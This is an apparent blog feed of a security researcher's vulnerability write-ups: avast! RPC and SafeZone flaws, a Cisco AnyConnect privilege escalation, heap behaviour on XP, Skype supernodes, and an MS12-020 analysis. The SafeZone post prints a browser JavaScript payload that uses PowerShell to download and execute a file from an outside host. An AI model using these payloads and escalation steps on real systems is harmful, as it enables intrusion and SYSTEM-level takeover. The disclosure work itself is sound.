Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-25376749949817263812015-07-28T16:37:00.000-04:002015-07-28T21:25:01.327-04:00avast! Partage d'interface RPC EoPDepuis tout petit, j'ai toujours voulu tirer avantage du partage des <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa373605(v=vs.85).aspx">poignees de contextes</a> RPC dans un processus Windows. En effet, par defaut les context_handle sont partages pour toutes les interfaces RPC au sein d'un meme processus: un client peut creer un contexte sur une interface, et passer ce meme contexte a une autre interface (sauf attribut specifique dans la definition de l'interface: <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa378688(v=vs.85).aspx">Strict and Type Strict Context Handles</a>). Cependant, je n'ai jamais eu l'occasion d'exploiter une vulnerabilite se fondant sur ce predicat, car generalement quelque chose va de travers au moment de l'utilisation de la structure associee au contexte.<br />
<br />
Mais grace a avast!, j'ai finalement pu realiser ce reve d'enfance (ou du moins d'il y a une dizaine d'annees). Comme pour l'entree precedente, la vulnerabilite a ete corrigee il y a un an.<br />
<br />
Enfin, desole pour les traductions approximatives (handle=poignee?), j'ai arrete de lire les bulletins du CERT-A il y a longtemps! (<strike>et je ne me relis pas</strike> edit: @n_joly et @0xeb m'envoient les erreurs, et je corrige :()<br />
<h3>
Resume</h3>
<u>Type de vulnerabilite</u>: partage de contexte RPC<br />
<u>Vecteur</u>: appel LPC a eb915940-6276-11d2-b8e7-006097c59f07 v4.0<br />
<u>Impact</u>: EoP a SYSTEM, contournement de la self-defense<br />
<u>Verifie sur</u>: avast! Free aavm4h.dll v9.0.2018.391<br />
<h3>
Description</h3>
aavm4h.dll implemente quelques interfaces RPC qui sont hebergees dans le processus AvastSvc.exe. La plus interessante est eb915940-6276-11d2-b8e7-006097c59f07 v4.0, qui offre des fonctions qui effectuent des taches sensibles. Cependant ces fonctions requierent un <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa366759(v=vs.85).aspx">context_handle </a>afin de s'executer correctement. Ce context_handle peut etre demande par un client via la fonction RPC 0 de l'interface, si le client est "sur" (via un appel a secIsProcessTrusted qui met en jeu un mechanisme implemente par des drivers d'avast! et des signatures d'executables specifiques). Par defaut, si la self-defense est active, un processus n'est pas considere sur, et aucune des fonctions ne peut etre atteinte.<br />
<br />
C'est ici qu'intervient le partage de poignees de contextes RPC. Par defaut sous Windows, toutes les interfaces RPC dans un meme processus partagent les points de terminaison, mais aussi les poignees de contexte. Pour eviter ce partage, un attribut strict_context_handle doit etre utilise, comme explique plus haut.<br />
<br />
Cela se revele interessant puisque AvastSvc.exe heberge d'autres interfaces qui donnent des context_handle a des utilisateurs non privilegies. Par exemple dbe95f8e-2be7-4b70-96f3-369be27fa432 v1.0, offert par aswPatchMgmt.dll ne requiert ni privilege specifique, ni processus "sur" pour accorder une poignee de contexte.<br />
<br />
Pour exploiter cette vulnerabilite, on va appeler la fonction 6 de dbe95f8e-2be7-4b70-96f3-369be27fa432, qui nous donne un context_handle, et utiliser ce context_handle pour appeler une fonction de eb915940-6276-11d2-b8e7-006097c59f07. Quelle fonction choisir? Parmi les fonctions interessantes: AavmDisableSelfDefense, ou la fonction 0x4a qui appelle CreateProcess. Mais cette fonction ne nous permet pas de fournir la ligne de commande complete de l'executable a creer. Elle offre seulement un choix de 5 executables d'avast!. La bonne nouvelle c'est que AvastEmUpdate.exe (choix numero 2) accepte un argument /applydll qui nous permet de specifier le chemin complet d'une bibliotheque qui sera chargee dans le processus, lui meme execute en tant que SYSTEM.<br />
<br />
Ce qui nous donne les memes privileges:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsNYrJChZOCUDnrdl-wgxhaYJulAQZucd3eRpdUq_Vmw4Ip4rlRvXAPXNkstdZ7eACApWVHBLvAP3NdQE05ypMrMREKyK-ZzuVKUGEwjRLm5YilRGSMxGmnLfC8A-L0naDYu742OsP8JSH/s1600/AvastContext.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="556" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsNYrJChZOCUDnrdl-wgxhaYJulAQZucd3eRpdUq_Vmw4Ip4rlRvXAPXNkstdZ7eACApWVHBLvAP3NdQE05ypMrMREKyK-ZzuVKUGEwjRLm5YilRGSMxGmnLfC8A-L0naDYu742OsP8JSH/s640/AvastContext.png" width="640" /></a></div>
<br />
Au passage je ne saurai trop recommender <a href="http://www.rpcview.org/">RpcView</a> pour fouiller dans ce bazarre d'interfaces RPC & LPC. Malheureusement mIDA de Nicolas Pouvesle est toujours indispensable pour jouer avec les squelettes RPC en ligne (inline stub), et c'est pas faute de m'etre <a href="https://twitter.com/RpcView/status/477191970805137408">plaint</a> :).<br />
<br />
Au final, je vais vous epargner les copier-coller des interfaces IDL et me contenter du fichier C principal:<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=7vyNwt8P" style="border: none; height: 400px; width: 100%;"></iframe><br />
<div>
<br /></div>
Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com4tag:blogger.com,1999:blog-6700102380087070012.post-66989152249034192782015-07-28T12:16:00.002-04:002015-07-28T12:25:35.247-04:00The avast! SeriesI spent some time quite a while ago looking into avast! and, after about a year, I am going to post about the issues that were found, and fixed back then. The whole project was pretty fun, avast! offers a lot of functionalities and as such a ton of components to look into. Identifying the security boundaries and attack surface required a decent understanding of the product: services, opened ports, LPC or RPC interfaces, kernel drivers and their IO controls or filters, browser components, various parsers, "self-defense", etc.<br />
<br />
A decent number of issues were found, and Igor and the avast! bug bounty team fixed them promptly, and extensively - I think they did a great job at not concentrating on the specific issues submitted but thinking about the bigger picture, variants and remediation.<br />
<br />
I will start with one of the juicier ones, as it allowed RCE from a browser.<br />
<h2>
avast! Client-Side Remote Code Execution</h2>
<h3>
Summary</h3>
<u>Bug type</u>: command injection<br />
<u>Vector</u>: Javascript from browser<br />
<u>Impact</u>: remote code execution within the SafeZone<br />
<u>Verified on</u>: avast! Free AvastUI.exe v9.0.2018.397<br />
<h3>
Description</h3>
avast! offers a SafeZone functionality that creates a separate desktop, and runs processes in a sandboxed environment on this desktop. This SafeZone component comes with a SafeZone Browser that basically is Google Chrome. The SafeZone component is not available in the Free version of avast!, as the browser is not installed, and the UI interface doesn't allow to switch to the SafeZone. Yet, the core functionalities of the SafeZone are present and the SafeZone can be launched, through LPC, the local HTTP Daemon, or browser addons.<br />
<br />
There are two issues that can be leveraged to achieve code execution, both of them resulting from an injection in the command line of the SafeZone browser. In order to demonstrate the issue, we will use the avastBHO.SwitchToSafezone API in Javascript for the IE BHO. This is accessible when the extension is enabled (default), and for all websites except a few local exceptions.<br />
<br />
Let's start with the Free version of avast!. In this version, the SafeZone browser is not installed, so when trying to switch to the SafeZone, Windows will attempt to parse the command line to find the binary. Here is the output of ProcessMonitor illustrating this:<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=9wuayPF4" style="border: none; height: 400px; width: 100%;"></iframe><br />
<br />
As you can see, this becomes an issue because each component of the command line will end up being considered a directory at some point. It is trivial to go up in the tree using the usual ..\ sequence:<br />
<br />
avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe')<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8-iR2j9jXycB9Cb32xf-xA0gSXvzcQje93S9ISDoJzh9fVW6Laap50BVaPxk3MN-h1cZBrLSQLGWiMTZ8iJYEwfhCDAvB07UI47KG0ebAYXun6gch1EynCR_zLfiTfkxG4tAlc0fP6bQ-/s1600/BHOCmdInjection.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8-iR2j9jXycB9Cb32xf-xA0gSXvzcQje93S9ISDoJzh9fVW6Laap50BVaPxk3MN-h1cZBrLSQLGWiMTZ8iJYEwfhCDAvB07UI47KG0ebAYXun6gch1EynCR_zLfiTfkxG4tAlc0fP6bQ-/s640/BHOCmdInjection.png" width="640" /></a></div>
<br />
<br />
This will execute directly a cmd.exe in the SafeZone in avast! Free. Now, in order to download and execute something extra, we just need to couple that with a bit of PowerShell (for Windows 7+):<br />
<br />
avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c "cd %TEMP%&PowerShell (New-Object System.Net.WebClient).DownloadFile(\'http://192.168.233.1:8001/stage1.exe\',\'stage1.exe\');(New-Object -com Shell.Application).ShellExecute(\'stage1.exe\');"')<br />
<br />
This will download and execute stage1.exe, still in the SafeZone. At this point, we can execute whatever we want, but are still restrained to the sandboxed environment of the SafeZone (file system, registry and privileges).<br />
<br />
The avastBHO object can become unreachable after some attempts, and IE has to be relaunched.<br />
<h3>
Escaping the SafeZone</h3>
For the sake of completeness, I wrote up a quick SafeZone escape through Windows messages. Doing a CreateProcess from stage1.exe or equivalent still has us stuck in the SafeZone file system. Since we can switch desktop easily, the provided escape just switches back to the Default desktop, pops-up the Windows Run dialog by sending a WM_HOTKEY message, sets the content of the edit box to the command to execute, and presses OK. It can be a bit racey at times, and could use some Q&A, but it's working often enough.<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=nvpFEwyN" style="border: none; height: 400px; width: 100%;"></iframe><br />
<h3>
What about Chrome/Firefox/etc?</h3>
Extensions for Chrome and Firefox appear to offer the same SwitchToSafezone functionality but I am actually not sure on how to script them or if they are even accessible. Those extensions merely wrap HTTP requests to the local HttpDaemon running in AvastSvc.exe on port 27275, which uses Google's libprotobuf-lite. A switch to SafeZone can be triggered by issuing command 7 to that server, and this vector is also vulnerable to the command injection.<br />
<h3>
What about non-free versions of avast!?</h3>
Now for avast! Premier and other versions including the browser, we cannot use the ..\ trick as it will not succeed since the binary exists, but we can inject an argument to Chrome. The argument that matters is the --load-extension one, which will attempt to load an extension, and accepts UNC paths, for example you can try:<br />
<br />
avastBHO.SwitchToSafezone('--load-extension=\\\\127.0.0.1\\malicious')<br />
<br />
I haven't pushed the research to writing an actual malicious extension.<br />
<br />Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-83231575421710035282015-06-23T15:55:00.001-04:002015-06-23T15:55:19.318-04:00Cisco AnyConnect Secure Mobility Client v3.1.06073 EoPAfter a long period of silence on this blog, here is a new entry, in English. I'll try to post new things every now and then in French or English!<br />
<br />
A vulnerability has been identified in Cisco AnyConnect Secure Mobility Client v3.1.06073 for Windows. This vulnerability could be leveraged by a local unprivileged user to get SYSTEM privileges, and was successfully exploited on a Windows 7 x64 platform.<br />
<br />
Once installed, AnyConnect will start the executable vpnagent.exe as a SYSTEM service. This process opens the TCP port 62522 locally and parses requests that are sent to it. The protocol is simple and follows a <a href="https://en.wikipedia.org/wiki/Type-length-value">TLV</a> structure. It will execute different handlers based on the type of the request.<br />
<br />
An interesting handler is CMainThread::launchClientApp in vpnagent.exe. This request takes 3 string parameters:<br />
<br />
<ol>
<li>The full path to the binary to be executed</li>
<li>The command line arguments to that binary</li>
<li>The desktop to launch it on</li>
</ol>
<div>
As a security measure, vpnagent.exe verifies that the binary to be executed is validly signed by "Cisco Systems, Inc." through a call to CProcessApi::SetVerifyFileSignature, preventing us from launching any random binary as SYSTEM.</div>
<div>
<br /></div>
<div>
Having a look at the other Cisco signed binaries present, VACon64.exe (amd64 specific version) stands out. This binary will take a part to a directory as an argument, and execute <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa376957(v=vs.85).aspx">InstallHInfSection</a> on a hardcoded .inf file name. This is particularly unsafe, as we can build out own .inf file to install a service that will, for example, execute cmd.exe interactively as SYSTEM - we just need to make sure to set a DACL that will make it available to anyone.</div>
<div>
<br /></div>
<div>
Provided are 2 files to exploit the service on a 64-bit platform:</div>
<div>
<ol>
<li>c.py is a Python 2.7 script that will launch VACon64.exe with our .inf file by sending the specifically crafted request to the vpnagent service<br /><iframe src="http://pastebin.com/embed_iframe.php?i=9Q0ntUY5" style="border: none; height: 400px; width: 100%;"></iframe></li>
<li>acsock64.inf is the crafted .inf file that will install an interactive cmd.exe service (named InteractiveCmd) [it can probably be improved, but it's a good starting point]<br /><iframe src="http://pastebin.com/embed_iframe.php?i=3trYwYLZ" style="border: none; height: 400px; width: 100%;"></iframe></li>
</ol>
<div>
Both files need to be in the same directory, and c.py executed by an unprivileged user. Said user can then do a "net start InteractiveCmd" to start a SYSTEM cmd.exe in Session 0. The Session 0 Isolation Service should detect it and offer to switch to that session (verified with Windows 7, Windows 10 appear to not switch even though the SYSTEM cmd.exe was successfully launched). The service can then be removed with "sc delete InteractiveCmd".</div>
</div>
<div>
<br /></div>
<div>
This vulnerability was reported to Cisco on January, 26th 2015 (PSIRT-1269982510). It was fixed with releases 4.0.02052 and 3.1.08009 of AnyConnect, announced in a security bulletin on June, 23rd 2015 (assigned CVE-2015-4211) [148 days].</div>
<div>
<br /></div>
Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com4tag:blogger.com,1999:blog-6700102380087070012.post-41985396002223934422012-06-13T16:05:00.000-04:002012-06-14T07:49:42.164-04:00Comportement inattendu de LocalReAlloc sous XP SP3<b>Note</b>: J'ai cherche (rapidement) si quelqu'un avait deja documente le comportement, mais je n'ai rien trouve. Si j'ai rate quelque chose, n'hesitez pas a m'envoyer les liens, je les rajouterai.<br />
<br />
Ce week-end, je suis tombe sur une vulnerabilite qui m'a ammene a m'interesser au comportement de <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366742(v=vs.85).aspx">LocalReAlloc</a>, et donc RtlReAllocateHeap. Le probleme se resumait a passer un pointeur de pile a des fonctions attendant un pointeur de tas. Vu que cela ne sonne pas tres bien en Francais, voici un morceau code illustrant cela:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi72x7ENE3lUELnsBLWQaNKyXP-mSOR6W_koohgharFUIraUPO5Rdlx_8YfRy7TnZhPaPgviBF-xPzvs8abjFOu3YRGcGtlbyH7l5YCm8BP3bb47o6ppnYZshkSSQxopOTcZZqju37Ijhev/s1600/StackHeapExample.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi72x7ENE3lUELnsBLWQaNKyXP-mSOR6W_koohgharFUIraUPO5Rdlx_8YfRy7TnZhPaPgviBF-xPzvs8abjFOu3YRGcGtlbyH7l5YCm8BP3bb47o6ppnYZshkSSQxopOTcZZqju37Ijhev/s1600/StackHeapExample.png" /></a></div>
<br />
Les appels a LocalFree ou LocalReAlloc dependent des branches et boucles internes a la fonction, et les tailles et index ont ete choisis par hasard.<br />
<br />
Qui dit XP SP3, dit aussi cookie de tas, et verification des listes doublement chainees. Il ne sera donc pas surprenant de voir que <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366730(v=vs.85).aspx">LocalFree</a> (RtlFreeHeap) va echouer la plupart du temps, sauf si vous etes tres doues. Voici un example des verifications qui peuvent vous attendre:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZllCpD3DtdivNgYE993sBHDfysrSJhwl4oBhwZ1Xji5PKt27s2Qzc0JWLyS6n6wA77ywkCYL5ElIHXyiB2z-afilgsOuRKQHJjEIKkmueoGWbQJD_Z7B1sIW9HcdaYyboO2zguXiv2idW/s1600/RtlFreeHeap.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZllCpD3DtdivNgYE993sBHDfysrSJhwl4oBhwZ1Xji5PKt27s2Qzc0JWLyS6n6wA77ywkCYL5ElIHXyiB2z-afilgsOuRKQHJjEIKkmueoGWbQJD_Z7B1sIW9HcdaYyboO2zguXiv2idW/s1600/RtlFreeHeap.png" /></a></div>
<br />
Au final, LocalFree rate, ne retourne pas NULL, et le pointeur passe n'est pas touche. Pour obtenir quelque chose d'interessant avec LocalFree, il faudrait passer la verification du cookie, et declencher une liberation vers le Lookaside par exemple.<br />
<br />
Par contre, LocalReAlloc ne fonctionne pas pareil. D'apres le MSDN, si la reallocation rate, la fonction est sensee retourner NULL, avec un code d'erreur recuperable via GetLastError(). Mais en analysant la fonction, on se rend rapidement compte qu'il existe des chemins qui retournent directement le pointeur passe en cas d'erreur, sans meme verifier le cookie.<br />
<br />
Par example, si l'entete du chunk n'est pas marque comme etant occupe (ou du moins ce que NtDll pense etre l'entete du chunk), une erreur STATUS_INVALID_PARAMETER va etre levee, mais la fonction va quand meme retourner le pointeur passe (en version simplifiee).<br />
<br />
Voici les quelques blocs en question:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio9n8XHBJZLwz8VBjcMxhmvXXvAZYlgl16T5DP99sL3nqAXCTHxfWGLMRhmz9r6RzPJnpiZ5XEcBkz2_R4rxFQH5xvORL1ky0y5epMu8HDCAu0DdyQeuqa-Xafa1WrnLGX-KVMXhWpFhY7/s1600/RtlReAllocateHeap_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio9n8XHBJZLwz8VBjcMxhmvXXvAZYlgl16T5DP99sL3nqAXCTHxfWGLMRhmz9r6RzPJnpiZ5XEcBkz2_R4rxFQH5xvORL1ky0y5epMu8HDCAu0DdyQeuqa-Xafa1WrnLGX-KVMXhWpFhY7/s1600/RtlReAllocateHeap_1.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
...<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiibiIDSUXigGGRQhJZv3CD7BQTRmac-zhqKYrwUOk65UHjf24MGyh4BBRg66inZOnap4VDJ_9T_h0EcSyr0aArsBToemkK1WgKH1kXWCkLz7-hOrBzpzGgAZtO-kbbphlhqbzJT_n8fKOw/s1600/RtlReAllocateHeap_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiibiIDSUXigGGRQhJZv3CD7BQTRmac-zhqKYrwUOk65UHjf24MGyh4BBRg66inZOnap4VDJ_9T_h0EcSyr0aArsBToemkK1WgKH1kXWCkLz7-hOrBzpzGgAZtO-kbbphlhqbzJT_n8fKOw/s1600/RtlReAllocateHeap_2.png" /></a></div>
...<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhALwde5Jc4L_9GlbPqQjSR47QOcCMHX7dy1f5jAuugeM_JuGclk3Ij2T1LY5NMx0cg_mnihQPdF_ZySY5-RkK3dwJaC84eKJA6bL6Ta5aTWJcb6_bFi3A7qyiKGhbeluTi2G4A35h4gciF/s1600/RtlReAllocateHeap_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhALwde5Jc4L_9GlbPqQjSR47QOcCMHX7dy1f5jAuugeM_JuGclk3Ij2T1LY5NMx0cg_mnihQPdF_ZySY5-RkK3dwJaC84eKJA6bL6Ta5aTWJcb6_bFi3A7qyiKGhbeluTi2G4A35h4gciF/s1600/RtlReAllocateHeap_3.png" /></a></div>
<br />
Un rapide programme pour tester cela donne (a lancer sans que le tas soit en mode debug):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw8nCwhsQ8IY6nqVUVd3_zxf9hal-iOwc88RdQ_zG07c_4SDZpoy2PbU6YKDzPnaCUW7WNwTNET2XsgowE_A_wct6f-fArNxooWCi19RPgrMl4b85rGLuoIkrB5G65Ti_BFXostCSWC1ex/s1600/LocalReAllocRun.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw8nCwhsQ8IY6nqVUVd3_zxf9hal-iOwc88RdQ_zG07c_4SDZpoy2PbU6YKDzPnaCUW7WNwTNET2XsgowE_A_wct6f-fArNxooWCi19RPgrMl4b85rGLuoIkrB5G65Ti_BFXostCSWC1ex/s1600/LocalReAllocRun.png" /></a></div>
<br />
LocalReAlloc retourne un pointeur non NULL, le programme pense que la reallocation a ete un succes. Alors que q pointe sur la pile et toute copie vers q va deborder l'espace reserve pour p au dela de 8 octets.<br />
En lancant le meme programme sous Windows 7, une erreur critique est detectee, et le programme termine.<br />
<br />
<b>En soi, cela ne constitue <u>pas</u> une vulnerabilite</b>. Par contre, couple a une corruption de pointeur comme expliquee au debut (ou meme LSB d'un pointeur de tas), on se retrouve avec un programme pensant avoir un espace fraichement realloue sur le tas, alors qu'il va ecraser des donnees quelque part ailleurs (pile dans notre exemple).<br />
<br />Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com2tag:blogger.com,1999:blog-6700102380087070012.post-15739790810791171432012-05-04T11:07:00.000-04:002012-05-04T11:07:38.132-04:00To all the tin foil hat wearersI can't help but notice that the vast majority of people can't process a piece of news such as <a href="http://expertmiami.blogspot.com/2012/05/skype-does-away-with-random-supernodes.html">the one</a> that was posted recently on this blog. To quote Lao Tzu "Those who know do not speak, those who speak, do not know", or something in that regard (sweet irony for I am now speaking).<br />
<br />
What are Skype supernodes? As explained in the Skype presentations given 6 years ago, Skype supernodes are a directory and routing service. They are basically the Yellow Pages of Skype, you send them your blobs, and you query them to get your contacts' blobs. If you are behind a NAT or firewall, they will route requests to you. Do they route voice calls (or IM)? No. Relay nodes take care of those if you can't communicate directly with the other end. There is a mutual exclusivity in that a node can't be a relay and a supernode at the same time. At this time, relays are still random machines in the "wild", and people from that "Skype Open Source Project" are full of <a href="http://skype-open-source.blogspot.com/2012/05/microsoft-wiretapping-on-skype-now.html">shit</a>.<br />
<br />
Once again, as explained in Vanilla Skype, when you establish a session with a peer - through a relay or directly - each party sends to the other a half-AES key encrypted with the public RSA blob of the other party. Then the session is encrypted using that session key. This means that the end to end traffic is encrypted with something neither the supernode, nor the relay node, nor Skype, know stuff about: because they do *not* have your private RSA key. Does having centralized Supernodes ease wiretapping? No. Does it make the network more reliable, secure, and scalable? Most likely.<br />
<br />
Read the slides (<a href="http://www.recon.cx/en/f/vskype-part1.pdf">part 1</a> & <a href="http://www.recon.cx/en/f/vskype-part2.pdf">part 2</a>). If you don't understand them, too bad, you are missing out.<br />
<br />Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com1tag:blogger.com,1999:blog-6700102380087070012.post-18203457277921081432012-05-01T09:16:00.004-04:002012-05-01T21:18:51.069-04:00Skype does away with random supernodesA major change in the Skype network architecture has occurred two or three weeks ago (at the time I wrote this), and has gone unnoticed as far as I know. The number of supernodes has dropped from 48k+ to 10k+, and all the supernodes are now hosted by Microsoft/Skype. Promotion of random eligible nodes to supernodes has stopped (through the setting of the global boolean 33h).<br />
<br />
Ironically, those remaining supernodes run on grsec'ed Linux boxes (I hope Spender gets a sizeable donation from Microsoft). They can host a considerable amount of clients, ~100000.<br />
<br />
At the same time, the number of online Skype users jumped (<a href="http://skypejournal.com/blog/2012/04/23/skype-topped-41-5-million-concurrent-users-online-today-chart/">http://skypejournal.com/blog/2012/04/23/skype-topped-41-5-million-concurrent-users-online-today-chart/</a>) and can now reach 41M at peak hours.<br />
<br />
This will likely ensure that former outages (<a href="http://articles.latimes.com/2010/dec/23/business/la-fi-skype-20101223">http://articles.latimes.com/2010/dec/23/business/la-fi-skype-20101223</a>) don't happen again, and gives MS a better control over the network.<br />
<div>
<br />
<b>Edit</b>: dead link, so here is the original graph from Skype Journal:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_qtJj3CJDrOfXdCUm4lVHgnYi67PTsD5ITxYaPq8tDz6bUU0f_uuj1mrhDTGX6nxPaT6epapcrBP5wYGkEfRfihlEXTZIDxrNIwqio9dfoCDNgrxuZ59MytuAFThrd2hsu5rZ-lewVpow/s1600/6961259880_237cf5918e_o.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_qtJj3CJDrOfXdCUm4lVHgnYi67PTsD5ITxYaPq8tDz6bUU0f_uuj1mrhDTGX6nxPaT6epapcrBP5wYGkEfRfihlEXTZIDxrNIwqio9dfoCDNgrxuZ59MytuAFThrd2hsu5rZ-lewVpow/s640/6961259880_237cf5918e_o.png" width="640" /></a></div>
<b>Edit</b>: supernodes list as of May 1st 2012: <a href="http://pastebin.com/LgWsPUGe">http://pastebin.com/LgWsPUGe</a><br />
<b>Edit</b>: Microsoft confirms (<a href="http://arstechnica.com/business/news/2012/05/skype-replaces-p2p-supernodes-with-linux-boxes-hosted-by-microsoft.ars">http://arstechnica.com/business/news/2012/05/skype-replaces-p2p-supernodes-with-linux-boxes-hosted-by-microsoft.ars</a>):<br />
<blockquote class="tr_bq">
As part of our ongoing commitment to continually improve the Skype user experience, we developed supernodes which can be located on dedicated servers within secure datacentres. This has not changed the underlying nature of Skype’s peer-to-peer (P2P) architecture, in which supernodes simply allow users to find one another (calls do not pass through supernodes). We believe this approach has immediate performance, scalability and availability benefits for the hundreds of millions of users that make up the Skype community.</blockquote>
I do think that this was the way to do things, and that their beliefs expressed in the last sentence are correct (if anyone cares what I think!). They didn't say how much they are going to give Spender though...<br />
<br /></div>Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com4tag:blogger.com,1999:blog-6700102380087070012.post-36555175637799131142012-03-23T11:56:00.004-04:002012-05-05T08:52:30.124-04:00MS12-020 round up<span style="font-size: large;"><b>Introduction</b></span><br />
<br />
Tout le monde et sa grand mere a ecrit un billet sur <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">MS12-020</a>, et c'est donc mon tour. Le soucis, c'est que personne ne semble avoir vraiment compris la vulnerabilite, et par consequent la quantite d'inexactitudes, d'approximations et autres contresens me fait grincer des dents.<br />
<br />
Les specifications du protocole RDP sont disponibles en ligne: <a href="http://msdn.microsoft.com/en-us/library/cc240445(PROT.10).aspx">http://msdn.microsoft.com/en-us/library/cc240445(PROT.10).aspx</a>, et je vous invite a les lire si vous avez des problemes a trouver le sommeil, et la description du bug par Luigi est ici: <a href="http://aluigi.org/adv/termdd_1-adv.txt">http://aluigi.org/adv/termdd_1-adv.txt</a>.<br />
<br />
Je me suis donne 5 jours pour tenter d'exploiter la vulnerabilite, au dela la rentabilite pour une vulnerabilite corrigee devient moindre, et cela donne une idee du temps restant pour obtenir un exploit viable. En voici un condense, visant principalement XP et 2003. Au passage, Microsoft a donne une exploitabilite de 1 au bug - exploit stable sous 30 jours. Je n'ai pas passe 30 jours, gardez cela a l'esprit.<br />
<br />
<span style="font-size: large;"><b>Vulnerabilite</b></span><br />
<br />
Tout d'abord la vulnerabilite. Comme decouvert plus ou moins correctement par bon nombre de personnes, un flag n'etait pas mis a zero dans deux fonctions, rdpwd!NMAbortConnect et rdpwd!NM_Disconnect apres un appel a rdpwd!NMDetachUserReq. Le soucis, c'est qu'un chemin existe permettant d'appeler rdpwd!NMDetachUserReq deux fois, avec la possibilite d'un free dans le premier et d'un use-after-free dans le second. Le premier appel provient de rdpwd!NMAbortConnect, le second de rdpwd!NMAbortConnect -> rdpwd!SM_OnConnected -> rdpwd!SM_Disconnect -> rdpwd!NM_Disconnect.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXHxjKV5gnIw71hYFmpNFte7jcK_gfUuaDijo_5JIHKuPdflsN4ElZxmth_vQxYBX1510FVfTAGN-FsxySViChIjQp-_QzLtUxOZ80mUFxx3PN6VJ2gAaXqYXcos-MDiyVAi2st__aRJ3a/s1600/PatchDiff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="497" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXHxjKV5gnIw71hYFmpNFte7jcK_gfUuaDijo_5JIHKuPdflsN4ElZxmth_vQxYBX1510FVfTAGN-FsxySViChIjQp-_QzLtUxOZ80mUFxx3PN6VJ2gAaXqYXcos-MDiyVAi2st__aRJ3a/s640/PatchDiff.png" width="640" /></a></div>
<br />
La vulnerabilite est trouvee. Comment peut-on generer un appel a rdpwd!NMAbortConnect? rdpwd!NMAbortConnect est appele depuis rdpwd!NM_Connect, et il existe 5 xrefs menant a cette fonction. Les deux premiers surviennent avant que le flag @ +1Ch ne soit mis a 1 et peuvent donc etre ecartes. Les trois suivants impliquent que rdpwd!MCSChannelJoinRequest retourne quelquechose != 0. Il y a plusieurs moyens de faire echouer cette fonction, certains plus pratiques que d'autres. On va ecarter la possibilite que nt!ExAllocatePoolWithTag retourne NULL (plus de pool disponible!), et se concentrer sur rdpwd!GetNewDynamicChannel.<br />
<br />
